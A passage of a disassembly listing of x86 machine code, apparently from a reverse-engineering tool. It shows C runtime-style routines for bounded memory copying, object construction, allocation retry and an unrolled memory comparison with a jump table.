sub_40DD10+63j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_40DD85: ; CODE XREF: sub_40DD10+Aj mov eax, [esp+arg_0] retn sub_40DD10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40DD8A proc near ; CODE XREF: .vty:00401021p ; sub_4013C4+2Ep ... jmp sub_41112C sub_40DD8A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DD8F proc near ; CODE XREF: sub_40102D+Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi mov esi, [ebp+arg_C] push edi xor edi, edi cmp esi, edi jnz short loc_40DDA1 loc_40DD9D: ; CODE XREF: sub_40DD8F+4Bj xor eax, eax jmp short loc_40DE06 ; --------------------------------------------------------------------------- loc_40DDA1: ; CODE XREF: sub_40DD8F+Cj cmp [ebp+arg_0], edi jnz short loc_40DDC1 loc_40DDA6: ; CODE XREF: sub_40DD8F+5Fj call sub_40F79E push 16h pop esi mov [eax], esi loc_40DDB0: ; CODE XREF: sub_40DD8F+72j push edi push edi push edi push edi push edi call sub_40DCD8 add esp, 14h mov eax, esi jmp short loc_40DE06 ; --------------------------------------------------------------------------- loc_40DDC1: ; CODE XREF: sub_40DD8F+15j cmp [ebp+arg_8], edi jz short loc_40DDDC cmp [ebp+arg_4], esi jb short loc_40DDDC push esi push [ebp+arg_8] push [ebp+arg_0] call sub_410050 add esp, 0Ch jmp short loc_40DD9D ; --------------------------------------------------------------------------- loc_40DDDC: ; CODE XREF: sub_40DD8F+35j ; sub_40DD8F+3Aj push [ebp+arg_4] push edi push [ebp+arg_0] call sub_40DD10 add esp, 0Ch cmp [ebp+arg_8], edi jz short loc_40DDA6 cmp [ebp+arg_4], esi jnb short loc_40DE03 call sub_40F79E push 22h pop ecx mov [eax], ecx mov esi, ecx jmp short loc_40DDB0 ; --------------------------------------------------------------------------- loc_40DE03: ; CODE XREF: sub_40DD8F+64j push 16h pop eax loc_40DE06: ; CODE XREF: sub_40DD8F+10j ; sub_40DD8F+30j pop edi pop esi pop ebp retn sub_40DD8F endp ; =============== S U B R O U T I N E ======================================= sub_40DE0A proc near ; CODE XREF: .vty:0040DE1Bp push ecx mov dword ptr [ecx], offset off_41C308 call sub_412A98 pop ecx retn sub_40DE0A endp ; --------------------------------------------------------------------------- loc_40DE18: ; DATA XREF: .vty:off_41C308o push esi mov esi, ecx call sub_40DE0A test byte ptr [esp+8], 1 jz short loc_40DE2E push esi call sub_40DD8A pop ecx loc_40DE2E: ; CODE XREF: .vty:0040DE25j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_40DE34 proc near ; CODE XREF: sub_4165F6+12Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add ecx, 9 push ecx add eax, 9 push eax call sub_40FAB0 neg eax pop ecx sbb eax, eax pop ecx inc eax retn 4 sub_40DE34 endp ; =============== S U B R O U T I N E ======================================= sub_40DE4F proc near ; CODE XREF: sub_40DE68+3Bp push esi push 1 push offset off_42302C mov esi, ecx call sub_40D8C1 mov dword ptr [esi], offset off_41C290 mov eax, esi pop esi retn sub_40DE4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DE68 proc near ; CODE XREF: sub_401806+10p ; sub_401F7D+2p ... var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch jmp short loc_40DE7D ; --------------------------------------------------------------------------- loc_40DE70: ; CODE XREF: sub_40DE68+20j push [ebp+arg_0] call sub_412B12 test eax, eax pop ecx jz short loc_40DE8C loc_40DE7D: ; CODE XREF: sub_40DE68+6j push [ebp+arg_0] call sub_411069 test eax, eax pop ecx jz short loc_40DE70 leave retn ; --------------------------------------------------------------------------- loc_40DE8C: ; CODE XREF: sub_40DE68+13j test byte ptr dword_424390, 1 mov esi, offset dword_424384 jnz short loc_40DEB3 or dword_424390, 1 mov ecx, esi call sub_40DE4F push offset loc_41B6A9 call sub_40DBC0 pop ecx loc_40DEB3: ; CODE XREF: sub_40DE68+30j push esi lea ecx, [ebp+var_C] call sub_40D8D9 push offset dword_41FEA0 lea eax, [ebp+var_C] push eax mov [ebp+var_C], offset off_41C290 call sub_4107BC int 3 ; Trap to Debugger sub_40DE68 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DED2 proc near ; CODE XREF: sub_401E6B+4Dp ; sub_4054B7+3Ap ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_8] mov eax, edi sub eax, 0 jz loc_40F4CA dec eax jz loc_40F4B9 dec eax jz loc_40F48B dec eax jz loc_40F443 dec eax jz loc_40F3BA mov ecx, [ebp+arg_4] mov eax, [ebp+arg_0] push ebx push 20h pop edx jmp loc_40E382 ; --------------------------------------------------------------------------- loc_40DF10: ; CODE XREF: sub_40DED2+4B2j mov esi, [eax] cmp esi, [ecx] jz short loc_40DF92 movzx esi, byte ptr [eax] movzx ebx, byte ptr [ecx] sub esi, ebx jz short loc_40DF35 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40E39E loc_40DF35: ; CODE XREF: sub_40DED2+4Cj movzx esi, byte ptr [eax+1] movzx ebx, byte ptr [ecx+1] sub esi, ebx jz short loc_40DF56 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40E39E loc_40DF56: ; CODE XREF: sub_40DED2+6Dj movzx esi, byte ptr [eax+2] movzx ebx, byte ptr [ecx+2] sub esi, ebx jz short loc_40DF77 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40E39E loc_40DF77: ; CODE XREF: sub_40DED2+8Ej movzx esi, byte ptr [eax+3] movzx ebx, byte ptr [ecx+3] sub esi, ebx jz short loc_40DF94 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx jmp short loc_40DF94 ; --------------------------------------------------------------------------- loc_40DF92: ; CODE XREF: sub_40DED2+42j xor esi, esi loc_40DF94: ; CODE XREF: sub_40DED2+AFj ; sub_40DED2+BEj test esi, esi jnz loc_40E39E mov esi, [eax+4] cmp esi, [ecx+4] jz short loc_40E022 movzx esi, byte ptr [eax+4] movzx ebx, byte ptr [ecx+4] sub esi, ebx jz short loc_40DFC5 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40E39E loc_40DFC5: ; CODE XREF: sub_40DED2+DCj movzx esi, byte ptr [eax+5] movzx ebx, byte ptr [ecx+5] sub esi, ebx jz short loc_40DFE6 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40E39E loc_40DFE6: ; CODE XREF: sub_40DED2+FDj movzx esi, byte ptr [eax+6] movzx ebx, byte ptr [ecx+6] sub esi, ebx jz short loc_40E007 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40E39E loc_40E007: ; CODE XREF: sub_40DED2+11Ej movzx esi, byte ptr [eax+7] movzx ebx, byte ptr [ecx+7] sub esi, ebx jz short loc_40E024 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx jmp short loc_40E024 ; --------------------------------------------------------------------------- loc_40E022: ; CODE XREF: sub_40DED2+D0j xor esi, esi loc_40E024: ; CODE XREF: sub_40DED2+13Fj ; sub_40DED2+14Ej test esi, esi jnz loc_40E39E mov esi, [eax+8] cmp esi, [ecx+8] jz short loc_40E0B2 movzx esi, byte ptr [eax+8] movzx ebx, byte ptr [ecx+8] sub esi, ebx jz short loc_40E055 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40E39E loc_40E055: ; CODE XREF: sub_40DED2+16Cj movzx esi, byte ptr [eax+9] movzx ebx, byte ptr [ecx+9] sub esi, ebx jz short loc_40E076 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40E39E loc_40E076: ; CODE XREF: sub_40DED2+18Dj movzx esi, byte ptr [eax+0Ah] movzx ebx, byte ptr [ecx+0Ah] sub esi, ebx jz short loc_40E097 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40E39E loc_40E097: ; CODE XREF: sub_40DED2+1AEj movzx esi, byte ptr [eax+0Bh] movzx ebx, byte ptr [ecx+0Bh] sub esi, ebx jz short loc_40E0B4 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx jmp short loc_40E0B4 ; --------------------------------------------------------------------------- loc_40E0B2: ; CODE XREF: sub_40DED2+160j xor esi, esi loc_40E0B4: ; CODE XREF: sub_40DED2+1CFj ; sub_40DED2+1DEj test esi, esi jnz loc_40E39E mov esi, [eax+0Ch] cmp esi, [ecx+0Ch] jz short loc_40E142 movzx esi, byte ptr [eax+0Ch] movzx ebx, byte ptr [ecx+0Ch] sub esi, ebx jz short loc_40E0E5 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40E39E loc_40E0E5: ; CODE XREF: sub_40DED2+1FCj movzx esi, byte ptr [eax+0Dh] movzx ebx, byte ptr [ecx+0Dh] sub esi, ebx jz short loc_40E106 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40E39E loc_40E106: ; CODE XREF: sub_40DED2+21Dj movzx esi, byte ptr [eax+0Eh] movzx ebx, byte ptr [ecx+0Eh] sub esi, ebx jz short loc_40E127 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40E39E loc_40E127: ; CODE XREF: sub_40DED2+23Ej movzx esi, byte ptr [eax+0Fh] movzx ebx, byte ptr [ecx+0Fh] sub esi, ebx jz short loc_40E144 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx jmp short loc_40E144 ; --------------------------------------------------------------------------- loc_40E142: ; CODE XREF: sub_40DED2+1F0j xor esi, esi loc_40E144: ; CODE XREF: sub_40DED2+25Fj ; sub_40DED2+26Ej test esi, esi jnz loc_40E39E mov esi, [eax+10h] cmp esi, [ecx+10h] jz short loc_40E1D2 movzx ebx, byte ptr [ecx+10h] movzx esi, byte ptr [eax+10h] sub esi, ebx jz short loc_40E175 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40E39E loc_40E175: ; CODE XREF: sub_40DED2+28Cj movzx esi, byte ptr [eax+11h] movzx ebx, byte ptr [ecx+11h] sub esi, ebx jz short loc_40E196 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40E39E loc_40E196: ; CODE XREF: sub_40DED2+2ADj movzx esi, byte ptr [eax+12h] movzx ebx, byte ptr [ecx+12h] sub esi, ebx jz short loc_40E1B7 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40E39E loc_40E1B7: ; CODE XREF: sub_40DED2+2CEj movzx esi, byte ptr [eax+13h] movzx ebx, byte ptr [ecx+13h] sub esi, ebx jz short loc_40E1D4 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx jmp short loc_40E1D4 ; --------------------------------------------------------------------------- loc_40E1D2: ; CODE XREF: sub_40DED2+280j xor esi, esi loc_40E1D4: ; CODE XREF: sub_40DED2+2EFj ; sub_40DED2+2FEj test esi, esi jnz loc_40E39E mov esi, [eax+14h] cmp esi, [ecx+14h] jz short loc_40E262 movzx esi, byte ptr [eax+14h] movzx ebx, byte ptr [ecx+14h] sub esi, ebx jz short loc_40E205 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40E39E loc_40E205: ; CODE XREF: sub_40DED2+31Cj movzx esi, byte ptr [eax+15h] movzx ebx, byte ptr [ecx+15h] sub esi, ebx jz short loc_40E226 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40E39E loc_40E226: ; CODE XREF: sub_40DED2+33Dj movzx esi, byte ptr [eax+16h] movzx ebx, byte ptr [ecx+16h] sub esi, ebx jz short loc_40E247 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40E39E loc_40E247: ; CODE XREF: sub_40DED2+35Ej movzx esi, byte ptr [eax+17h] movzx ebx, byte ptr [ecx+17h] sub esi, ebx jz short loc_40E264 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx jmp short loc_40E264 ; --------------------------------------------------------------------------- loc_40E262: ; CODE XREF: sub_40DED2+310j xor esi, esi loc_40E264: ; CODE XREF: sub_40DED2+37Fj ; sub_40DED2+38Ej test esi, esi jnz loc_40E39E mov esi, [eax+18h] cmp esi, [ecx+18h] jz short loc_40E2F2 movzx esi, byte ptr [eax+18h] movzx ebx, byte ptr [ecx+18h] sub esi, ebx jz short loc_40E295 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40E39E loc_40E295: ; CODE XREF: sub_40DED2+3ACj movzx esi, byte ptr [eax+19h] movzx ebx, byte ptr [ecx+19h] sub esi, ebx jz short loc_40E2B6 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40E39E loc_40E2B6: ; CODE XREF: sub_40DED2+3CDj movzx esi, byte ptr [eax+1Ah] movzx ebx, byte ptr [ecx+1Ah] sub esi, ebx jz short loc_40E2D7 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz loc_40E39E loc_40E2D7: ; CODE XREF: sub_40DED2+3EEj movzx esi, byte ptr [eax+1Bh] movzx ebx, byte ptr [ecx+1Bh] sub esi, ebx jz short loc_40E2F4 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx jmp short loc_40E2F4 ; --------------------------------------------------------------------------- loc_40E2F2: ; CODE XREF: sub_40DED2+3A0j xor esi, esi loc_40E2F4: ; CODE XREF: sub_40DED2+40Fj ; sub_40DED2+41Ej test esi, esi jnz loc_40E39E mov esi, [eax+1Ch] cmp esi, [ecx+1Ch] jz short loc_40E376 movzx esi, byte ptr [eax+1Ch] movzx ebx, byte ptr [ecx+1Ch] sub esi, ebx jz short loc_40E321 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz short loc_40E39E loc_40E321: ; CODE XREF: sub_40DED2+43Cj movzx esi, byte ptr [eax+1Dh] movzx ebx, byte ptr [ecx+1Dh] sub esi, ebx jz short loc_40E33E xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz short loc_40E39E loc_40E33E: ; CODE XREF: sub_40DED2+459j movzx esi, byte ptr [eax+1Eh] movzx ebx, byte ptr [ecx+1Eh] sub esi, ebx jz short loc_40E35B xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx test esi, esi jnz short loc_40E39E loc_40E35B: ; CODE XREF: sub_40DED2+476j movzx esi, byte ptr [eax+1Fh] movzx ebx, byte ptr [ecx+1Fh] sub esi, ebx jz short loc_40E378 xor ebx, ebx test esi, esi setnle bl lea ebx, [ebx+ebx-1] mov esi, ebx jmp short loc_40E378 ; --------------------------------------------------------------------------- loc_40E376: ; CODE XREF: sub_40DED2+430j xor esi, esi loc_40E378: ; CODE XREF: sub_40DED2+493j ; sub_40DED2+4A2j test esi, esi jnz short loc_40E39E add eax, edx add ecx, edx sub edi, edx loc_40E382: ; CODE XREF: sub_40DED2+39j cmp edi, edx jnb loc_40DF10 add eax, edi add ecx, edi cmp edi, 1Fh ; switch 32 cases ja loc_40E771 ; default ; jumptable 0040E397 case 0 jmp off_40F4D2[edi*4] ; switch jump ; --------------------------------------------------------------------------- loc_40E39E: ; CODE XREF: sub_40DED2+5Dj ; sub_40DED2+7Ej ... mov eax, esi jmp loc_40E773 ; --------------------------------------------------------------------------- loc_40E3A5: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-1Ch] ; jumptable 0040E397 case 28 cmp edx, [ecx-1Ch] jz short loc_40E41E movzx esi, dl movzx edx, byte ptr [ecx-1Ch] sub esi, edx jz short loc_40E3C9 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz short loc_40E39E loc_40E3C9: ; CODE XREF: sub_40DED2+4E4j movzx esi, byte ptr [eax-1Bh] movzx edx, byte ptr [ecx-1Bh] sub esi, edx jz short loc_40E3E6 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz short loc_40E39E loc_40E3E6: ; CODE XREF: sub_40DED2+501j movzx esi, byte ptr [eax-1Ah] movzx edx, byte ptr [ecx-1Ah] sub esi, edx jz short loc_40E403 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz short loc_40E39E loc_40E403: ; CODE XREF: sub_40DED2+51Ej movzx esi, byte ptr [eax-19h] movzx edx, byte ptr [ecx-19h] sub esi, edx jz short loc_40E420 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40E420 ; --------------------------------------------------------------------------- loc_40E41E: ; CODE XREF: sub_40DED2+4D9j xor esi, esi loc_40E420: ; CODE XREF: sub_40DED2+53Bj ; sub_40DED2+54Aj test esi, esi jnz loc_40E39E loc_40E428: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-18h] ; jumptable 0040E397 case 24 cmp edx, [ecx-18h] jz short loc_40E4AD movzx esi, dl movzx edx, byte ptr [ecx-18h] sub esi, edx jz short loc_40E450 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E450: ; CODE XREF: sub_40DED2+567j movzx esi, byte ptr [eax-17h] movzx edx, byte ptr [ecx-17h] sub esi, edx jz short loc_40E471 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E471: ; CODE XREF: sub_40DED2+588j movzx esi, byte ptr [eax-16h] movzx edx, byte ptr [ecx-16h] sub esi, edx jz short loc_40E492 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E492: ; CODE XREF: sub_40DED2+5A9j movzx esi, byte ptr [eax-15h] movzx edx, byte ptr [ecx-15h] sub esi, edx jz short loc_40E4AF xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40E4AF ; --------------------------------------------------------------------------- loc_40E4AD: ; CODE XREF: sub_40DED2+55Cj xor esi, esi loc_40E4AF: ; CODE XREF: sub_40DED2+5CAj ; sub_40DED2+5D9j test esi, esi jnz loc_40E39E loc_40E4B7: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-14h] ; jumptable 0040E397 case 20 cmp edx, [ecx-14h] jz short loc_40E53C movzx esi, dl movzx edx, byte ptr [ecx-14h] sub esi, edx jz short loc_40E4DF xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E4DF: ; CODE XREF: sub_40DED2+5F6j movzx esi, byte ptr [eax-13h] movzx edx, byte ptr [ecx-13h] sub esi, edx jz short loc_40E500 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E500: ; CODE XREF: sub_40DED2+617j movzx esi, byte ptr [eax-12h] movzx edx, byte ptr [ecx-12h] sub esi, edx jz short loc_40E521 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E521: ; CODE XREF: sub_40DED2+638j movzx esi, byte ptr [eax-11h] movzx edx, byte ptr [ecx-11h] sub esi, edx jz short loc_40E53E xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40E53E ; --------------------------------------------------------------------------- loc_40E53C: ; CODE XREF: sub_40DED2+5EBj xor esi, esi loc_40E53E: ; CODE XREF: sub_40DED2+659j ; sub_40DED2+668j test esi, esi jnz loc_40E39E loc_40E546: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-10h] ; jumptable 0040E397 case 16 cmp edx, [ecx-10h] jz short loc_40E5CB movzx esi, dl movzx edx, byte ptr [ecx-10h] sub esi, edx jz short loc_40E56E xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E56E: ; CODE XREF: sub_40DED2+685j movzx esi, byte ptr [eax-0Fh] movzx edx, byte ptr [ecx-0Fh] sub esi, edx jz short loc_40E58F xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E58F: ; CODE XREF: sub_40DED2+6A6j movzx esi, byte ptr [eax-0Eh] movzx edx, byte ptr [ecx-0Eh] sub esi, edx jz short loc_40E5B0 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E5B0: ; CODE XREF: sub_40DED2+6C7j movzx esi, byte ptr [eax-0Dh] movzx edx, byte ptr [ecx-0Dh] sub esi, edx jz short loc_40E5CD xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40E5CD ; --------------------------------------------------------------------------- loc_40E5CB: ; CODE XREF: sub_40DED2+67Aj xor esi, esi loc_40E5CD: ; CODE XREF: sub_40DED2+6E8j ; sub_40DED2+6F7j test esi, esi jnz loc_40E39E loc_40E5D5: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-0Ch] ; jumptable 0040E397 case 12 cmp edx, [ecx-0Ch] jz short loc_40E65B movzx edx, byte ptr [ecx-0Ch] movzx esi, byte ptr [eax-0Ch] sub esi, edx jz short loc_40E5FE xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E5FE: ; CODE XREF: sub_40DED2+715j movzx esi, byte ptr [eax-0Bh] movzx edx, byte ptr [ecx-0Bh] sub esi, edx jz short loc_40E61F xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E61F: ; CODE XREF: sub_40DED2+736j movzx esi, byte ptr [eax-0Ah] movzx edx, byte ptr [ecx-0Ah] sub esi, edx jz short loc_40E640 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E640: ; CODE XREF: sub_40DED2+757j movzx esi, byte ptr [eax-9] movzx edx, byte ptr [ecx-9] sub esi, edx jz short loc_40E65D xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40E65D ; --------------------------------------------------------------------------- loc_40E65B: ; CODE XREF: sub_40DED2+709j xor esi, esi loc_40E65D: ; CODE XREF: sub_40DED2+778j ; sub_40DED2+787j test esi, esi jnz loc_40E39E loc_40E665: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-8] ; jumptable 0040E397 case 8 cmp edx, [ecx-8] jz short loc_40E6EA movzx esi, dl movzx edx, byte ptr [ecx-8] sub esi, edx jz short loc_40E68D xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E68D: ; CODE XREF: sub_40DED2+7A4j movzx esi, byte ptr [eax-7] movzx edx, byte ptr [ecx-7] sub esi, edx jz short loc_40E6AE xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E6AE: ; CODE XREF: sub_40DED2+7C5j movzx esi, byte ptr [eax-6] movzx edx, byte ptr [ecx-6] sub esi, edx jz short loc_40E6CF xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E6CF: ; CODE XREF: sub_40DED2+7E6j movzx esi, byte ptr [eax-5] movzx edx, byte ptr [ecx-5] sub esi, edx jz short loc_40E6EC xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40E6EC ; --------------------------------------------------------------------------- loc_40E6EA: ; CODE XREF: sub_40DED2+799j xor esi, esi loc_40E6EC: ; CODE XREF: sub_40DED2+807j ; sub_40DED2+816j test esi, esi jnz loc_40E39E loc_40E6F4: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-4] ; jumptable 0040E397 case 4 cmp edx, [ecx-4] jz short loc_40E76B movzx esi, dl movzx edx, byte ptr [ecx-4] sub esi, edx jz short loc_40E716 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] test edx, edx jnz short loc_40E74C loc_40E716: ; CODE XREF: sub_40DED2+833j movzx esi, byte ptr [eax-3] movzx edx, byte ptr [ecx-3] sub esi, edx jz short loc_40E731 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] test edx, edx jnz short loc_40E74C loc_40E731: ; CODE XREF: sub_40DED2+84Ej movzx esi, byte ptr [eax-2] movzx edx, byte ptr [ecx-2] sub esi, edx jz short loc_40E750 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] test edx, edx jz short loc_40E750 loc_40E74C: ; CODE XREF: sub_40DED2+842j ; sub_40DED2+85Dj mov eax, edx jmp short loc_40E76D ; --------------------------------------------------------------------------- loc_40E750: ; CODE XREF: sub_40DED2+869j ; sub_40DED2+878j movzx eax, byte ptr [eax-1] movzx ecx, byte ptr [ecx-1] sub eax, ecx jz short loc_40E76D xor ecx, ecx test eax, eax setnle cl lea ecx, [ecx+ecx-1] mov eax, ecx jmp short loc_40E76D ; --------------------------------------------------------------------------- loc_40E76B: ; CODE XREF: sub_40DED2+828j xor eax, eax loc_40E76D: ; CODE XREF: sub_40DED2+87Cj ; sub_40DED2+888j ... test eax, eax jnz short loc_40E773 loc_40E771: ; CODE XREF: sub_40DED2+4BFj ; sub_40DED2+4C5j ... xor eax, eax ; default ; jumptable 0040E397 case 0 loc_40E773: ; CODE XREF: sub_40DED2+4CEj ; sub_40DED2+89Dj ... pop ebx jmp loc_40F4CC ; --------------------------------------------------------------------------- loc_40E779: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-1Dh] ; jumptable 0040E397 case 29 cmp edx, [ecx-1Dh] jz short loc_40E7FE movzx esi, dl movzx edx, byte ptr [ecx-1Dh] sub esi, edx jz short loc_40E7A1 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E7A1: ; CODE XREF: sub_40DED2+8B8j movzx esi, byte ptr [eax-1Ch] movzx edx, byte ptr [ecx-1Ch] sub esi, edx jz short loc_40E7C2 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E7C2: ; CODE XREF: sub_40DED2+8D9j movzx esi, byte ptr [eax-1Bh] movzx edx, byte ptr [ecx-1Bh] sub esi, edx jz short loc_40E7E3 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E7E3: ; CODE XREF: sub_40DED2+8FAj movzx esi, byte ptr [eax-1Ah] movzx edx, byte ptr [ecx-1Ah] sub esi, edx jz short loc_40E800 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40E800 ; --------------------------------------------------------------------------- loc_40E7FE: ; CODE XREF: sub_40DED2+8ADj xor esi, esi loc_40E800: ; CODE XREF: sub_40DED2+91Bj ; sub_40DED2+92Aj test esi, esi jnz loc_40E39E loc_40E808: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-19h] ; jumptable 0040E397 case 25 cmp edx, [ecx-19h] jz short loc_40E88D movzx esi, dl movzx edx, byte ptr [ecx-19h] sub esi, edx jz short loc_40E830 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E830: ; CODE XREF: sub_40DED2+947j movzx esi, byte ptr [eax-18h] movzx edx, byte ptr [ecx-18h] sub esi, edx jz short loc_40E851 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E851: ; CODE XREF: sub_40DED2+968j movzx esi, byte ptr [eax-17h] movzx edx, byte ptr [ecx-17h] sub esi, edx jz short loc_40E872 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E872: ; CODE XREF: sub_40DED2+989j movzx esi, byte ptr [eax-16h] movzx edx, byte ptr [ecx-16h] sub esi, edx jz short loc_40E88F xor edx, edx test esi, 